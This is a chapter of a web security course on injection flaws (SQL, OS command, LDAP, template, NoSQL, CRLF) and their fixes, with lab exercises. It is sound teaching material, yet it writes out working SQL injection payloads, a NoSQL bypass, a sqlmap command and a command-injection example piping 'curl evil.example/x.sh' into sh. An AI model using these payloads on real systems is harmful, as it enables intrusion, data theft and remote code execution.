Frontend Labs
⋯

Chapter 42 — Injection: when data becomes code

In one sentence

Injection happens when untrusted input is concatenated into a string that an interpreter (SQL, shell, LDAP, a template engine) then parses, so the attacker's data is executed as commands — and the universal fix is to keep data and code in separate channels.

The one idea behind every injection

   VULNERABLE:  build a command/query by STRING CONCATENATION with input.
     query = "SELECT * FROM users WHERE name = '" + name + "'"
                                                    ^^^^ attacker controls this

   name = "'; DROP TABLE users; --"
     -> SELECT * FROM users WHERE name = ''; DROP TABLE users; --'
                                            ^^^^^^^^^^^^^^^^^ now it's CODE

   SAFE:  send code and data on SEPARATE channels. The interpreter gets the
   query STRUCTURE once, and the data as bound parameters it never parses.
     query = "SELECT * FROM users WHERE name = ?"
     execute(query, [name])          <- 'name' can never change the structure

This principle — parameterise; never concatenate — covers SQL, NoSQL, OS commands, LDAP, XPath, and more.

SQL injection

   IMPACT: read/modify/delete any data, bypass auth, sometimes RCE
   (xp_cmdshell, COPY TO PROGRAM, UDFs) and file access.

   AUTH BYPASS example:
     input password:  ' OR '1'='1
     SELECT id FROM users WHERE user='admin' AND pass='' OR '1'='1'
       -> returns a row -> "logged in"

   UNION-based extraction:
     ?id=1 UNION SELECT username, password, NULL FROM users--

   BLIND (no output, but behaviour differs):
     ?id=1 AND (SELECT SUBSTR(password,1,1) FROM users WHERE id=1)='a'
       -> page loads / doesn't -> extract one char at a time

   TIME-based blind (no visible difference at all):
     ?id=1; IF (condition) WAITFOR DELAY '0:0:5'--
       -> response is slow when the condition is true

The fix — in order of preference:

   1. PARAMETERISED QUERIES / prepared statements. Always. Every language
      has them.  db.execute("... WHERE id = ?", [id])
   2. Use an ORM / query builder correctly (they parameterise) -- but beware
      raw-query escape hatches and dynamic column/table names.
   3. For things that CAN'T be parameterised (identifiers, ORDER BY column,
      LIMIT in some drivers): validate against a strict ALLOWLIST of known
      values. Never escape-and-concatenate as your primary defence.
   4. Least-privilege DB accounts (the app's user can't DROP, can't read
      other schemas, can't write files).
   5. WAF as defence in depth, never as the fix.

OS command injection

   VULNERABLE:
     os.system("ping -c 1 " + host)
     host = "8.8.8.8; curl evil.example/x.sh | sh"

   FIX: don't call a shell. Use the array form of exec, which passes
   arguments directly to the program with NO shell parsing:
     subprocess.run(["ping", "-c", "1", host])       # Python
     execFile("ping", ["-c","1", host])               # Node
   And still validate `host` (e.g. it must be a valid hostname/IP).
   NEVER: shell=True with interpolated input; backticks; eval.

The other injection contexts

   LDAP injection    filter = "(uid=" + user + ")"  -> use parameterised
                     LDAP APIs / escape per RFC 4515 with a vetted library.
   XPath injection    same shape -> parameterised XPath / precompiled.
   Template injection (SSTI)  user input rendered AS a template
                     ({{7*7}} -> 49) -> can be RCE. Never put user input
                     into template SOURCE; pass it as DATA to a sandboxed
                     engine.
   NoSQL injection    Mongo: {"user": user, "pass": pass} where pass is the
                     object {"$ne": null} -> matches anything. Cast/validate
                     types; reject objects where you expect strings.
   Header / CRLF injection  input with \r\n into a response header ->
                     response splitting, cache poisoning. Frameworks mostly
                     block this now; still validate.
   Log injection      newlines/control chars into logs -> forged entries.
                     (Part 11.) Encode on write.
   ORM/GraphQL         raw fragments, batching abuse, alias-based DoS.

Practice (40 min) — in the lab only

   Use OWASP Juice Shop (Ch 0.4) or PortSwigger Academy labs.

   1. SQL injection login bypass:
      - Log in as admin using ' OR 1=1-- in the email field. Observe the
        query shape from the error, then craft the payload.
   2. UNION extraction:
      - Find the products search endpoint. Determine the column count
        (ORDER BY n / UNION SELECT NULL,NULL,...). Extract the users table.
   3. Now FIX a copy locally:
      - Grab a deliberately-vulnerable mini-app (or write 20 lines of
        Flask/Express with a concatenated query). Confirm the injection.
      - Switch to a parameterised query. Confirm the SAME payload is now
        inert (it's treated as a literal string to match).
   4. Command injection:
      - In a lab app with a "ping" or "nslookup" feature, inject `; id`.
      - Fix it with the array/exec form + hostname validation. Re-test.
   5. Try `sqlmap` against your OWN lab target only:
        sqlmap -u 'http://localhost:3000/rest/products/search?q=x' --batch --dbs
      Read what it does; understand each stage. Never point it off your lab.

Common confusions

  • "I escape quotes, so I'm safe." Escaping is fragile — numeric contexts, second-order injection (stored then used later), different quoting rules, charset tricks. Parameterise.
  • "An ORM means no SQL injection." Only for parameterised paths. raw(), .extra(), string-built WHERE, and dynamic ORDER BY reintroduce it.
  • "The WAF blocks SQLi." WAFs are bypassable (comments, encoding, casing, novel gadgets). Defence in depth, not the fix.
  • "Command injection needs a shell metacharacter." Argument injection (e.g. a filename starting with -) can be dangerous even without a shell. Validate values and use -- end-of-options where supported.
  • "Stored data is trusted." Second-order injection: input saved safely, then later concatenated into a query. Parameterise every query.

Check yourself

  1. State the single principle that defeats every injection class.
  2. Show a parameterised version of "...WHERE id = '" + id + "'".
  3. What can't be parameterised, and what do you do instead?
  4. How do you run an external command safely from code?
  5. What is second-order (stored) injection?

Further reading

  • Cheat sheets: OWASP "SQL Injection Prevention", "Injection Prevention", "OS Command Injection Defense", "Query Parameterization" — concise and authoritative.
  • Course: PortSwigger Web Security Academy — the SQL injection track is the best free hands-on resource anywhere.
  • Book: The Web Application Hacker's Handbook (2nd ed.) — dated on specifics, excellent on method. Chapters 9–10.
  • Tool docs: sqlmap wiki (lab use), and your language's DB-API parameterisation docs.

Generated from real-life-guide.md · 8 Oct 2026 16:36